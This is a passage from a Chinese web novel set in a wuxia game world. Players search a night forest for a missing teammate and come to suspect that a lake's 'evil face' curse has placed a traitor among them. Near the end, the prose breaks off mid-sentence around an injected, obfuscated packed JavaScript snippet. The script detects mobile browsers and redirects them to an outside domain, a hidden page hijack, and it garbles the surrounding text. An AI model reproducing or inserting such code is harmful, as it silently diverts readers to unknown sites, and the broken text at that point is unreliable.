“野兽?”殷炽皱起眉,觉得真有点匪夷所思了,“你是说,呃,也许有白毛野猪拿着刀砍了龙葵,是这样吗?先前你用来排除‘鬼’的那个理由,同样也可以说明,袭击者不是野兽。” 付井仪摇摇头:“并非这么绝对。我是这样想的,林间的确是没有别的痕迹了,这就说明,袭击者很有可能混迹于在这些我们认为正常或者已司空见惯的情境之中,以此来掩饰自己的行踪。更甚者,在这个基础之上,野兽说不定只构成整场袭击中的一环。这张地图里最不缺的就是动物,换句话说,林间、枝头,处处都是他的眼睛。他从来没有出现,却也无处不在,唯一需要露面的时刻就是进行最后一击的时刻,在完成袭击之后也可以通过某种方法,迅速离开原地,不留痕迹地消失在山林中。” 方叱羽正抚摸着疾夜的手忽然一僵,他意识到付井仪想表达什么了。这真的太不可思议、太离奇了,难怪他之前不愿意说出来。他看向其他人,看表情大家果然都想到了同一处去,但……这怎么可能? “游雾乘云,合神成契,百兽携游。”付井仪淡淡道,“同时,和第七天也有着千丝万缕的联系……” 火光幽幽地跳着,林间一片寂静,只有呜咽的风声。 这结论太令人惊骇了,看一时间没有人说话,付井仪揉了揉眉心,继续道: “我之前就在考虑这个问题——其实,我们并不能提前预设一个素未谋面的玩家的立场。举个例子,假如浪客行的任务要求他在第七天不得不与我们站在对立面呢?因为任务违背了自己的意愿而提前送来警告,这也是说得通的。” “不不不,我觉得说不通,很多说不通的地方。”唐逐星皱紧眉头,“你说的只是其中一种可能性,未必就这么巧吧,想想看,一个箭、一个刀,也不搭啊。” “所有的巧合耦合在一起就会变成必然。”付井仪道,“野兽不会长手拿起武器,人却可以自由选择,用箭固然方便,但也会立刻暴露身份。” “……一时半会还是挺难接受的,还得再想想。”殷炽也道,“这种事情更要慎重。” 付井仪微微颔首:“这也正常。我说过了,这只是一种想法,目前没有任何能够印证的决定性证据,几次袭击之间的关联我也还在考虑。总而言之,一切的事情,我们还是先找到柳七刀他们之后,再商量吧。” 队伍继续向前推进,只是气氛更加凝重了,反而是付井仪比较坦然,说出来了之后心中大概也是轻松了不少,举着火把走在前面,其他几人勉强跟上,都还在消化这个惊世骇俗的推断。 虽然付井仪的说法大胆又离谱,可不得不承认的是,一旦接受了这个设定,很多说不通的难题,突然便迎刃而解,甚至处处可以对应——让尹有攸身不由己可以是汇山岚的恐惧效果;之所以次次都抓不到人,其实当事人可能早就和乘黄离开,留偕行动物叼着火把引人去追,时间一到就自己消失,当然无处可寻;骑着乘黄走,自然也不会留下属于人的足印。 但是这样一来,有一个问题就避无可避,非常值得推敲了: 颂命在第七天和柳七刀发生了什么?为什么那封信指明写给柳七刀?为什么颂命会那么了解他们的队伍配置? 再进一步想,信上的话是真还是假?“不要信”指的究竟是不要信谁?这是故弄玄虚、挑拨离间,还是身不由己、试图弥补? “新队头天都是走湘竹溪嘛,后头就回转客栈,算是跟赵云睿那头过了明路。”唐逐星还在想,“孟秋认不到颂命,她该是没得必要扯谎。颂命咋可能连客栈门槛都没跨就晃到翡翠瑶池?要遇嘛也该在湘竹溪。这下又不晓得是啥子过场了。” 他正想得出神,忽然发觉身边少了个人,回头看去,尹有攸还在原地,愣愣地站着,似乎在出神。 他戴着云幕遮,唐逐星也不知道他在看什么,招呼一声:“愣着干什么?快走了。” “……哦。”尹有攸被他一拽,才如梦方醒般回过神来,快走了几步跟了上来。 如何寻人暂且不提,此刻,他们要找的柳七刀,正一个散流霞跃开,险而又险地躲开道士的攻击。 那道士已经进入了状态,口中念念有词,拂尘一甩,强大气劲便在地面上留下数道纵横的沟壑。他步步紧攻,将柳七刀逼退几步,这才怒道:“果然蛇鼠一窝!” “能不能听人说话!”柳七刀无意伤他,只得一退再退,劈出刀墙隔开两人,叫道,“我只是路过的!” “大侠莫开玩笑了。” 白狐躲在梁生背后,只露出一双金褐的兽眼幽幽地看着他,凉凉道:“前些夜里咱们同你在湖边约好了的事,怎能翻脸不认呢?” 72. 第七天·翡翠瑶池(七十二) “狼狈为奸,果然是早有串通!” 那道士听到白狐言语,立时大惊,狠狠剜了柳七刀一眼,念道:“灵宝符命普告九天,乾罗答那洞罡太玄……” 他念咒时,周身须发道袍无风自动,气势暴涨,柳七刀一惊,刚要落下刀墙,一错眼看到旁边还在状况外的梁生,咬咬牙干脆连他一道护住。 “哈!终于装不下去了吧!”道士看在眼里,冷哼一声,拂尘一甩,“斩妖缚邪杀鬼万千,破!” 这净天地神咒一念完,他手中的拂尘顿时爆发出一阵耀眼白光。柳七刀猝不及防,被闪了一下,下意识抬手遮住眼睛,结果等白光散去之后,原地竟已空空如也,那道士早已溜之大吉了,只留下一串叫骂声还在山坳里回荡: “以多欺少,实非君子所为!” 所以你就跑了是吗……柳七刀有点无语。 道士窜得实在很快,也不知往哪个方向去了,眨眼间就不见人影,他无可奈何,只能收了刀,走向另一边还没反应过来的梁生和白狐。 那白狐更是机灵,比道士还会审时度势,一看当前最大的危机已经解除,忽然就正常了许多,低眉耷眼,毛茸茸一条白尾巴垂在地上,轻轻柔柔道:“多谢恩公救我俩一命,若来日再见,必将涌泉以报。” 柳七刀现在有更重要的事,顾不上这些虚头虚脑的,挥挥手让惊魂未定的梁生让到一边,自己蹲下来,平视着白狐的眼睛,一口气问道:“那道士说的妖人妖地是什么意思?这个地方有什么问题?你之前在湖边见过我吗?” 浪客行不会无缘无故安排一段NPC同行剧情在这里,他隐隐有种预感,这些问题的答案对玩家们来说,一定非常重要。 亓秀秀轻轻一甩提着剑的手,剑上一串血珠细线似的落进了草丛。 几头野狼倒在过膝的杂草中,都是干净利落的一剑封喉,震慑力十足,一直尾随着她们的狼群发出恐惧的嗥叫,很快便消失在山林之中。 “还以为是什么东西,原来只是最普通不过的野兽。”她低头看了一眼,问跟在后面的曲小蕨,“怎么样,能找到那些举着火把的鬼东西吗?” 没听到回答,亓秀秀回头看去,发现曲小蕨皱着眉,迟迟没从和天蛛的共享视野里退出来。 “小蕨?” 曲小蕨睁开眼睛,犹豫道:“那些东西跑得太快,天蛛追不上,但我好像看见小付老师他们了。” “在哪边?我们快过去会合。”亓秀秀先是开心,但很快就察觉到她语气有异,又疑惑道,“怎么了?” 在这种鬼地方找到失散的队友,无异于他乡遇故知了,但曲小蕨的脸色看着绝对算不上高兴,她支支吾吾了几声,最终还是十分勉强地开口道:“等会儿和小付老师他们见了面再说吧。” 曲小蕨很少这样吞吞吐吐,亓秀秀心里好奇,但看她眉头都要皱成一团了,便也很贴心地没有继续追问,两人循着天蛛追踪的路线,专心致志全速赶路,很快就追上了大部队。 ——追上是追上了,只是这队伍的构成,和亓秀秀想象得不太一样。 她看着眼前几人,讶异道:“唐逐星?你怎么在这?其他人呢?” 被单独点出来的唐逐星耸耸肩,还没来得及说话,付井仪已经道:“饿了么三个人受伤了,甲丑湖的各位前来支援,送他们回营地,留下我们在找失踪的柳七刀。” 简明扼要,言简意赅,就是信息量未免也太大了点儿,亓秀秀顿时就觉得她们俩错过了好多:“到底怎么回事?” 话音未落,她感觉曲小蕨轻轻地拉了拉她的衣角。 这一路上,曲小蕨都一副心事重重的样子,看到众人目光都看了过来,她低下头,嗫嚅道:“秀秀姐,小付老师……我之前好像看到柳七刀了。” “什么?!”亓秀秀一惊,有些难以理解,“那你怎么不告诉我呢?” 曲小蕨的小脸涨得通红:“我不确定,我不确定那是不是柳七刀——” “别着急,慢慢说。”付井仪道,“‘不确定’是什么意思?你看到的是什么情况?” “天蛛的视角很低,只有一瞬间扫到了那个人影。”曲小蕨小声道,“很模糊,我也不敢确定,但那张脸真的很像柳七刀。” “这里没有别人长得像柳七刀了吧。”方叱羽忍不住说,“这有什么不能确定的?” “……”曲小蕨沉默一刹,才低声道,“因为他在笑。我好害怕。” 在黑幽幽的丛林里,她一眼就捕捉到了不同寻常的那个身影,还来不及高兴,天蛛的视线上抬,就看到那明明应该熟悉的五官却诡异地扭曲着,变成了陌生的模样。 柳七刀正直勾勾地盯着天蛛——或者说,通过天蛛看着曲小蕨,朝她露出一个鬼气森森的微笑。 天蛛共享来的视野是灰白的,在黑夜中更加模糊,像斑驳的旧胶卷。一闪而过、来不及定格的画面中,柳七刀好整以暇地看着她,一张脸白得像纸,眉眼却是漆黑而浓重的。 交错的枝叶在他脸上留下了墨一样的阴影,又随着嘴角咧开的弧度越来越大而逐渐变形,像一条蜿蜒的黑蛇,吐着信子,顺着五官一路爬行上攀。 听完这个描述,所有人都沉默了,唐逐星缓缓问:“你确定那是柳七刀?” “我确定……我不确定。”曲小蕨整个人还是混乱的,把求助的目光投向付井仪,“我确定吗?我确不确定?” “这个描述好像被鬼上身了。”方叱羽说,感觉后背阴风乍起,嘶了一声,“然后呢?” “没了。”曲小蕨说,食指和拇指捏在一起举到眼前,中间留了很小很小的一道缝,强调道,“他就出现了这——么一小下,0.001秒,天蛛再去找他的时候就看不到了,所以我才说不确定。” 这也太诡异了。方叱羽看向付井仪,发现他也眉头紧皱,似乎还在消化这样爆炸性的消息。 付井仪都这样,就更不用说其他人了,死一般的沉寂中,曲小蕨弱弱道:“你们说句话呀,我害怕。” “天蛛还在吗?” 最终还是殷炽先开口,问曲小蕨。 曲小蕨不解:“收起来了,怎么了?” “要不然再放出来观察一下周围吧。”殷炽道,“你说那个‘柳七刀’是在朝你笑的,说明他的出现可能有一定的针对性,最起码他察觉到了天蛛的存在。既然这样的话,他就不可能无缘无故地消失,说不定这一路上他在一直在黑暗之中跟着你……往坏处想,现在他或许就隐藏在这片树林里的某个角落,正在看着我们。” “啊!”曲小蕨惨叫一声,顿时感觉这片树林里每一个漆黑的角落里都长满了暗中窥探的眼睛,欲哭无泪地抱住了亓秀秀,“你说得也太吓人了,我我我我我不敢——” 亓秀秀脸色铁青,代入曲小蕨想了一下,天蛛爬行在黑暗的林间,也许在某一瞬间抬头的时候就会忽然看到眼前出现一张诡异的笑脸,明明是熟悉的队友,却好像完全变成了一个陌生人,那确实很恐怖了。 她看了眼殷炽,发现对方虽然语气是平静的,但握着火把的手却青筋暴起,那木制的防风火把吱吱直响,都要被他捏出指印来了,显然自己也把自己吓得不轻,又觉得有点无奈:你何苦呢…… “我没听到附近有人活动。”尹有攸好像感觉不到气氛的可怖,直截了当道,又问唐逐星,“你看到了吗?” “没有。”唐逐星说,单手在眼前圈起,比了个望远镜的动作,“这个距离上,如果有人跟着我们,应该是会被发现的,柳七刀就更不用说了,他的校服还是挺显眼的。” “但那还是柳七刀么?” 付井仪突然问道。 先前他没有说话,一直在沉吟,这会儿才像终于想通了什么似的,沉沉地叹了口气。 “如果是这样的话,那先前的猜想就能说得通了——为什么颂命会那么了解我们……” “颂命?怎么了?”亓秀秀不解。 “这就说来话长了。”付井仪道,抬头看了看仍然昏黑的天色,“边走边讲,还是先把柳七刀找到。” 顿了顿,他又补充道:“无论他现在还是不是柳七刀。” 夜更深了,山坳里偶有咕咕怪声响起,分不清是鸮叫还是蛙鸣。 白狐毛茸茸的大尾巴在地上扫来扫去,声音中也带上了几分愧疚:“大侠见谅,当时情况紧急,为了吓住那道士,让他以为咱们本是一路,我才信口扯谎的。” 不是什么隐藏线索,柳七刀有些失望,但也差不多猜到了。他现在更关心的是另一个问题: “那个道士为什么对这地方反应这么强烈?” “大侠果真不知道么?”白狐却反问了他一句,不等柳七刀回答,就自言自语地点头道,“若是误入此地,那便不奇怪了。” “还是我来说吧。” 一直杵在一旁像个背景板的梁生开口了。 这个书生打架的时候全程状况外梦游,到这时候就派上用场了,说起话来一板一眼,比白狐有条理多了:“大侠可能有所不知,那道士之所以称此地为妖地,实是因为此地确有古怪,但若是平日里注意便可躲开。我们留恋美景,在此小心盘桓了几日,没想到却招来了那道人,让他误以为阿诺是害人的妖物。” 柳七刀精神一振,知道重点来了:“什么古怪?” “古怪就在这瑶池之中。”梁生到底是个读书人,文绉绉道,“翡翠瑶池白日间长虹垂彩、飞瀑凌云,如人间仙境,但夜里却恰恰相反,称之为无间罪狱也不为过。古人云,‘水盈□□,平则成镜’,而镜这一物,合于乾坤,日月厚盈则精朗,薄蚀则昏昧,人至照影,鬼到烛形,立镜于天地之间,则可以照妖镇邪、启善封恶。瑶池四湖方位本是天地造化的吉相,后逢贞观十二年松洲地动,山移水改后,却暗合了绝命、五鬼、六煞、祸害这凶门四煞方位,横绝于天地,镜面际天、镜背际地,贯通阴阳裂隙。” 他正滔滔不绝,就突然发现柳七刀从一开始的全神贯注逐渐变得面无表情,有点心虚地停下了:“……呃,大侠听不懂么?” 从他说到一半突然开始咬文嚼字地掉书袋时,柳七刀就不知道他在叽里咕噜些什么了:“你猜呢?快说啊!” “就是说啊,这翡翠瑶池就好像四面大镜子,镜子照人照鬼,连接阴阳,本来是辟邪的东西。”梁生被迫放弃引经据典,继续道,“但松洲地动,把原本的绝妙格局震反了,现在变成了招邪的模样了。这‘镜子’,如果白日在其中照出过身影,那到了夜里,便会生出人之恶面来,那可是人心中至阴至邪的一面,悖德狡诈、恣睢无忌,所以我和阿诺在此游玩几日,都不敢接近那湖边。 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他满头冷汗,一把抓住梁生,惊慌之下忘记了控制力度,梁生被他捏得龇牙咧嘴,倒吸着凉气答道:“我、我也不知道!关于翡翠瑶池的典故,我都是从杂书残卷上看来的,也没有亲眼见过……” 白狐看到梁生吃痛,也待不住了,赶紧插嘴:“大侠千万冷静。自贞观十二年那次地动之后、恶面传说肇起以来,这附近的人都已经陆续搬离,要了解恶面的事,或许可以去松州问问。” 还松州,浪客行有地图限制,他们这些玩家根本就走不出翡翠瑶池。柳七刀咬牙切齿,又实在没有办法,松开钳住梁生的手,低头问白狐:“真的一点线索都没有吗?” 之前白狐只觉得这个霸刀弟子长得一副脾气很好的样子,才大胆利用他吓跑道士,现在被他这么一看,只觉得眼神凌厉,恍惚中有种刀锋迫人的感觉,半点和气也没了,不由得一阵心惊后怕。 “翡翠瑶池已经久无人迹,恶面自然也无现世的缘由,不过刚到此地时,倒是从一位老前辈口中听到过一些相关的事情。”它也不再废话,赶紧答道,“世人都说,我们狐妖阴险狡诈不是善类,是以我等拼命修行,只为脱去‘兽’的恶名,像人一样知礼义、晓廉耻,俯仰不怍。” 辛酸之处不愿多说,白狐话锋一转:“但恶面的可怖之处却在于,即使是最善良无邪的孩童,他的恶面也一定是极阴险暴虐的,它们狡诈多段、残忍成性,甚至像兽一样,以戏耍玩弄猎物为乐趣。” 瀑布的声音震耳欲聋,尹有攸有点不适应地甩了甩头,还是不习惯这种环境。 队伍一路搜寻着柳七刀的踪迹,不知怎么又绕回到这里来了。他不太喜欢瀑布,水声太大,对于听力特别敏锐的人来说,好像有种突然失去了眼睛的感觉,心里十分不安,频频回头打量其他人。 “我盯着呢,没人跟着。”唐逐星在旁边道,“你头还晕么?” “已经好了。”尹有攸摸了摸头上的绷带,干脆抬手拆掉,露出乱糟糟黑发下刚刚长好的血痂来。唐逐星在一边看着,便问他:“你感觉像是被万灵恐惧了吗?” “那时候好像没有意识,不知道被恐惧是什么感觉。”尹有攸歪着头,仔细回忆,“不过我觉得应该不是恐惧,恐惧应该不会让人直接失去意识吧。” “确实,在这里也没见过万灵,谁也不晓得被恐惧的感觉。”唐逐星坏笑道,“不过失去意识倒也不是没得可能,恐惧的效果放在现实中不就是被乘黄吓呆了么,正常。” “不是恐惧。” 尹有攸坚持道。 他倒不是为了面子,而是真的有充足的理由:“当时祁云纵就在我身后不远,另一边是付井仪。距离应该有二十尺吧。如果是恐惧,要么祁云纵会被群恐到,要么万灵来单独追击我的时候就会被付井仪看到,不可能只有我失去了意识。” 唐逐星一琢磨,倒也是这么个道理。他再打量尹有攸,越看就越想不通了。 “既然敌人的行动根本就听不到,那你对他们就没得威胁。奇怪哦,咋个就偏偏选到你第一个动手?也不怕遭看到。” “他俩聊什么呢?” 方叱羽拔起路边的伤阳草放进仓库,看向落后几步的唐逐星和尹有攸。 一派混乱中,他还没忘记落难侠客的任务,见缝插针地寻找着药草。 “不知道,毕竟是谜语人。” 亓秀秀摇摇头,示意方叱羽看队伍最前端,付井仪和曲小蕨也在低声交流,夜色太浓,看不清两个人的神情,更听不到声音,只能看出他们好像是在谈论什么非常严肃的话题。 她叹了口气:“都到这个时候了,什么话不能让我们一起听啊。” “付老师那么谨慎的人,能说出袭击者是颂命这种猜测已经很激进了。”方叱羽道,把她手上的伤阳草也接过来,刚要往仓库里放,动作却突然一顿。 他疑惑地看了一眼仓库,后半部分的格子本来整齐地码着精制绷带,但此刻那些绷带竟然莫名其妙地少了很多,显得仓库都跟着空空荡荡起来。 意识到这代表着什么,方叱羽几乎是立刻就点起了前面格子中凝血精的数量,越看脸色越差。 “出事了……秀秀。”他说,声音发颤,“营地好像出事了。” 73. 第七天·翡翠瑶池(七十三) 柳七刀在漆黑一片的山中飞奔。 梁生与白狐阿诺这对落难鸳鸯生怕道士去而复返,打定主意要连夜离开翡翠瑶池,临别前对柳七刀千恩万谢,又给他指明了回到营地的方向。 本来同行剧情结束应该是会有特殊奖励的,但白狐端详了柳七刀半天,欲言又止,只说他是有福之人,用不到它的帮助,最后什么也没给他。 这个小插曲柳七刀没放在心上,他快要急疯了,早就顾不得什么奖励不奖励的,一方面还惦记着龙葵谢不若他们,另一方面又手握恶面这个重磅情报,一心只想着用最快的速度赶回去。 “千万不要把恶面当成是自己的同伴,他们残忍狡诈,喜好杀戮,行事不能以常人标准评判。”道别时,梁生慎而又慎地嘱咐柳七刀,“眼为精之窠,目为神之牖。大侠切记,若白日间不得不靠近湖边,一定不要与湖中的自己对视。” 不要对视?柳七刀略微一思索,他自己肯定是没有照过湖水的,但是白日里翡翠瑶池美景如画,湖中盛着蓝天白云,漂亮得就像电脑壁纸一样,很难说会不会有同伴突然起了临水照影的兴致。 还有一个更严重的问题——“恶面”这东西到底是什么? 这个问题,梁生和白狐也无法给出答案。眼看没有更多情报了,柳七刀和他们飞快地道别,踏上了回程的路。 他边跑边琢磨,是被照出了恶面的人会黑化?还是像人机玩家一样多出个复制体来?无论是哪一种,似乎都非常糟糕。玩家们分头行动的时间太多了,根本没办法掌握每个人的运动轨迹,恶面想要混进队伍里来简直易如反掌,说不定此刻他们队伍里就已经有了恶面。 甚至他们遭遇的那几次袭击,之所以没有找到外来者的痕迹,会不会是因为,袭击者就在自己人之中? 冷汗浸透的衣衫紧紧贴在皮肤上,又被扑面而来的凛冽山风吹干,变得冰冰凉凉。高原反应和长时间的奔跑已经让柳七刀的体力有些透支了,脚步也渐渐沉重起来。 身边的夜色已经不像最开始那样深沉而浓重,逐渐有了些光亮。柳七刀丢下烧到只剩手柄的火把,抬头看了看天色,凌晨三四点钟的样子,这漫长混乱的一晚就要过去了。 值得庆幸的是,白狐没有给他指错方向,越是前进,那震耳欲聋的瀑布声就越清晰起来。他循着声音一路寻找,果然看到了自己在几小时之前留下的刀墙痕迹。 只是这痕迹周围,竟多了很多错杂的脚印。 柳七刀目光一凝,蹲下身子仔细去查看,就发现这些脚印保存得并不完整,显然留下脚印的人不止一次经过这里。残存的脚印呈弧形散开,脚尖时而朝前、时而向后,似乎是在周围徘徊过,轻重深浅各异,起码分属于四五个不同的人,其中有一对脚印明显小了一圈—— 是曲小蕨他们找过来了! 他心里一松,提着的那口气一泄,顿时就两眼发黑,拄着新亭侯踉跄了几步,赶紧靠着树坐下来调息,一颗忐忑不安了一夜的心,也终于踏实了一点。 往乐观的方向想,既然大家还有空来找他,那龙葵、谢不若和祁云纵他们,应该也没有大碍才对。 感觉体力随着绵长的呼吸逐步恢复,柳七刀长长地吐出一口气,才发现自己手脚都是软的,差点站不起来。 这倒不是累的,只是紧绷的神经骤然放松,后怕的感觉才慢慢涌了上来。先前冲出去追“袭击者”的行动太欠缺考虑了,如果因为这一次疏忽导致谢不若他们出了什么意外…… 柳七刀用力地甩了甩头,将它甩出脑海。 他慢慢站起来,又看了一眼地上的脚印。这里有折返的痕迹,他们大概是追丢了自己,就放弃寻找原路返回了。柳七刀有点失落,又在心里自我安慰,那片山坳确实像鬼打墙,再来可能还有什么更棘手的事需要他们去处理。 到了这片区域,离甲丑湖就很近了,离开了错综复杂的森林深处,再辨别出大致的方向就十分简单。夜色已经薄得像一层深蓝的雾,似有若无地遮在眼前,似乎只需要轻轻吹一下就能看得清楚,柳七刀想了想,换了个前进的方向。 趁着天还没亮,他想去谢不若和祁云纵被推下湖的那个地方去看看。 将他引走的黑影不知道是什么东西,但应该不是人,是人的话不可能一点痕迹也不留下,还能在他的攻击下消失得无影无踪。如果从一开始就没有什么外来的袭击者,动手的人真的是“恶面”,那么几乎可以说明,“恶面”就在采集伤阳草的这十个人之中,甚至还动用了一些特殊手段。 会是谁呢…… 柳七刀有些抗拒这种可能性,即使已经到了这个地步,他还是期冀着这里还有什么未曾露面的外来者,光是想到同伴自相残杀的可能性就让他浑身发冷了。 墨蓝的薄霭中,湖边空无一人,静得可怕。这里仍然残留着混乱过后的痕迹,大片的苇草被踩折了,树上还缠着几圈枯萎的藤蔓。 在这样场景里,那唯一的亮色便显得十分突兀。柳七刀快步走过去,俯下身,从地上捡起了几片羽毛。 那是几根非常漂亮的长羽,靛蓝和橙黄色的,只是光彩已经暗淡。羽管末端白色的细小绒毛沾上了暗褐色的污渍,湿哒哒地黏在一起。 就在这些散落的羽毛下面,有一小抔灰烬,非常不起眼,几乎要和湖畔的淤泥混做一团。 柳七刀咬紧牙关,提着刀的手开始颤抖。那是生理性的,他完全控制不住,最后连整个身子也跟着颤栗起来——小鹦鹉和人机玩家同样都是浪客行的造物,而第五天从华清宫回来时,叶九溪给他们描述过,云流岚被飞琼杀死的时候,他的身体就像是被火燎过的书页,直接燃烧殆尽,化作了飞灰。 这只小鹦鹉,除了第一天在湘竹溪初见时把他吓了一跳,其余时间几乎都是好吃懒做,要么停在斗笠边缘和祁云纵拌嘴,要么就缩在他的大氅貂毛里打瞌睡,被龙葵喂得越来越像一个胖球,甚至学会了看仇非的眼色行事。谢不若虽然嘴上总嫌弃它没有隔壁雕兄能干,但实际上更是惯它惯得没边了,饿了么的五个人齐心协力,才养出了这么一只无忧无虑的碎嘴小鸟。 拂晓的湖畔清冷寒凉,他的脖颈处却似乎还残留着一点温热,一颗小小的暖融融的心脏,曾经紧贴在那里搏动过。 这么少,这么轻的一小抔灰烬,明明白白地昭示着,一切都已不可回转。柳七刀说不上来自己现在的心情,在无比庞大的情绪洪流的冲刷下,有种割裂感从他心中涌起,好像有另一个自己在告诉他:现在还不是你能伤心的时候。 他仰起头,看着天空。高大连绵的远山之外,晦暗的浓云背后,天边逐渐闪现出苍白的晨光。 羽毛上沾了血迹,它是被人杀死的。祁云纵和谢不若反应不慢,柳七刀和龙葵赶来的速度也很快,不会有人在冒着被抓到的风险偷袭玩家的时候,还能特地分出心思来,去杀死一只没有任何威胁的小鸟——除非袭击者了解他们,知道这是一只机灵伶俐会说话的小鹦鹉。 如果说之前柳七刀还带有一丝犹疑,那么现在,即使是他心中再不愿相信,也不得不确定了: 恶面就在他们之间。 拂晓时,柳七刀终于远远地看见了营地。 从山上的视角,居高临下地眺望过去,乙子湖的确就像一块镜子的碎片,湖面倒映着还没有完全散尽铅灰浓霭的天空。 他以为昨夜发生了那么多大事,营地又该是一片混乱不堪了,也许还没靠近就能听到大家吵吵嚷嚷的声音,帐篷外可能站着翘首以待他回来的队友;又或者会发生什么超乎他想象的糟糕状况,只等他姗姗来迟…… 但是什么都没有。营地非常安静,篝火还在燃着,火光在黎明里已经不是那么显眼了,只有徐徐而上的青烟,几顶帐篷间还能看到偶尔走动的身影。 这种平淡不在柳七刀的构想里,但他还是松了口气,三步并两步跳下山坡,朝营地跑过去。然而还没靠近,他就先闻到了晨风送来的、夹杂着淡淡铁锈味的不祥气息。 营地前那块大岩石上坐着个人,从斗笠在晨光中的剪影来看,正是谢不若。 听到柳七刀的脚步声,谢不若转过头,愣了一下之后,唰地站起身,从岩石上跳了下来,一开口就非常亲切:“我去你大爷的柳七刀,一晚上跑哪去了!” 柳七刀心虚地无视了他的友好问候,围着谢不若转了一圈,上下打量,发现他除了狼狈一点、憔悴一点,看起来都还好,虽然有外伤却都不是很严重,这才松了口气:“我迷路了。祁云纵怎么样?” “你才是要把其他人吓死,之前他们就找了你一晚上了,刚回来没多久,非姐说天亮前你再不回来,白天还得接着找。”谢不若道,面色复杂,指了指身后的帐篷,“我俩是没事,就是龙葵不太好,还有祝灵正……” “龙葵和祝灵正?” 这却是柳七刀完全没有想到的,他一惊,还想细问,亓秀秀却从帐篷里钻了出来。她看上去也是一副劳顿不堪的样子,眼底两道青黑在白皙的面颊上格外醒目,眼神都快不聚焦了,但声音却放得很轻:“柳七刀?柳七刀回来了?” “这呢这呢。”柳七刀赶紧道。 亓秀秀看到他,也是长长地舒了一口气。 “还好还好。你怎么样?” “我没事,我真没事。”柳七刀举手展示自己,又追问道,“龙葵和祝灵正呢?” 看到亓秀秀和谢不若的表现,他那种火急火燎的担心就消减很多,还有点乐观地想,虽然龙葵和祝灵正受了伤,但应该不会特别危险,不然他俩肯定早急得上蹿下跳了。 “在帐篷里。”亓秀秀道,看柳七刀要往里走,又提醒他,“轻一点。” 柳七刀点了点头,躬下身子掀起门帘进了帐篷。天才蒙蒙亮,帐篷里面更是昏暗,扑面而来的竟然是一股浓重的血腥味,等他看清情况时,只感觉脑袋嗡的一声,血气上涌,一时间竟觉得天旋地转起来。 帐篷里面是真正的混乱不堪,被血完全浸透的废弃绷带高高垒起,空了的凝血精瓶子成堆地扔在角落,甚至四周的帷布还有鲜血喷溅过的痕迹,触目惊心。龙葵和祝灵正分别躺在帐篷的两角,身上盖着薄毯,行守坐在一边看护着,看到柳七刀进来,朝他点了点头,白箬笠下露出的脸也是憔悴而疲惫。 柳七刀双手发冷,浑身僵硬,有种肢体不受大脑使唤的感觉。他先去看龙葵,龙葵双眼紧闭,蹙着眉头,呼吸急促,额头一层薄汗,睡得也不太安稳,显然在忍受着疼痛;再看另一边的祝灵正,脸上更是半点血色也没有,无声无息地躺在那里,连呼吸声也听不到,要不是胸口还有微弱的起伏,连一丝活气都看不出来,胸口的薄毯隐隐透出猩红。 他鼻子一酸,赶紧轻手轻脚地退出了帐篷,这才大口地呼吸起来,整个人都是懵的。 明明他和龙葵分别的时候还好好的,龙葵还说她也会很快追上来,谁知道再见面就成了这种情况。早知道这样,他当初真不该上当去追那个“袭击者”!可是现在说这些又有什么用呢?祸已经闯下了—— 柳七刀的脑海乱糟糟的,好像有无数张嘴正在一开一合,发出不同的声音,有懊悔的,也有数落和怨怼的,直到听到有人连声叫他的名字,他才失魂落魄地抬起头。 不知道什么时候,其他队友都从另外几顶帐篷里出来了,除了龙葵和祝灵正、还有看护着他们的行守,所有人都在这里。没有人责怪他的不知所踪,大家脸上都是非常一致的如释重负,仇非抬起手,轻轻拍了拍他的肩:“回来了就好。” 柳七刀喊了声非姐,目光从一张张苍白憔悴的脸上扫过去,突然理解为什么谢不若和亓秀秀反应都有点平淡了:一整夜的跋山涉水,加上各种巨变,所有人的精神和体力都被压迫到了极致,实在是给不出太过剧烈的反应,连笑容都变得十分艰难。 显然,他在其他人眼里也是这种形象,因为祁云纵紧接着仇非用力锤了锤他的肩膀:“先去休息吧,等你有精神了,再跟我们说说都遇到了什么。” 柳七刀被他锤得一晃,看着朋友们疲惫的模样,突然如鲠在喉,关于恶面的情报就这样卡在了嘴边。 这些真切表达着担忧和关心的同伴里面,会有恶面吗?以大家现在的状态,真的适合知道这些事情吗? 以湖水为镜子、映照出人的恶面,这种事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691221|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过诡异,他们在浪客行的前几天中也闻所未闻,一旦告诉大家,无异于沸水入油,柳七刀完全无法预料到它会在玩家群体中掀起什么样的风暴。眼下,看大家的样子,紧绷的身心都即将到达临界点了,柳七刀的回归好不容易让他们稍微放松了一些,一旦在这时候公开情报,那所有人都不用休息了,会直接无缝跌入到下一轮警惕和怀疑的狂潮之中。 他深呼吸,知道现在又到了需要做出决定的时刻。 “好,那你们也先睡一会吧。”柳七刀听到自己说,“落难侠客怎么样了?” 话已出口,他心跳如擂鼓。希望这个选择是正确的,柳七刀仔细观察着每一个人脸上的表情。虽然很不愿意相信他们中间可能混有恶面的这个事实,但世界上不可能有绝对天衣无缝的伪装。他知道,从回归队伍起的每一分每一秒,都要留心注意了,如果恶面在人群之中,总是能找出异常的。 “一点皮外伤,早没事了。”李千驰撇撇嘴,嫌弃之情溢于言表,“属他舒服,睡得跟猪一样。” “那大家就先睡一两个时辰,起码把精神养足,才有精力面对今天的任务。”付井仪淡淡接过话头,曲小蕨也朝柳七刀招招手:“走啦,歇了!” 柳七刀摇了摇头。 如果恶面已经产生,那营地同样危险,已经没有什么地方是安全的了。将情报暂时保密是他的决定,他必须对同伴在这几小时小憩中的安全负责。 “我不累,我先不睡了。”他说,“大家去休息吧,我来守着。” “真的假的。”祁云纵皱眉,上下打量他,“你这副鬼样子,真的不累?” 柳七刀嘴硬:“不累。” 祁云纵劝不动他,又问谢不若:“你呢?” “我还是睡不着。”谢不若道。 祁云纵闻言点点头,也不再强求,招呼其他队的人各自进了帐篷。只有仇非转身前看了眼柳七刀,欲言又止,最后还是什么都没说。 “你觉得这是真的柳七刀吗?” 她刚钻进帐篷,便听到亓秀秀迫不及待地发问。 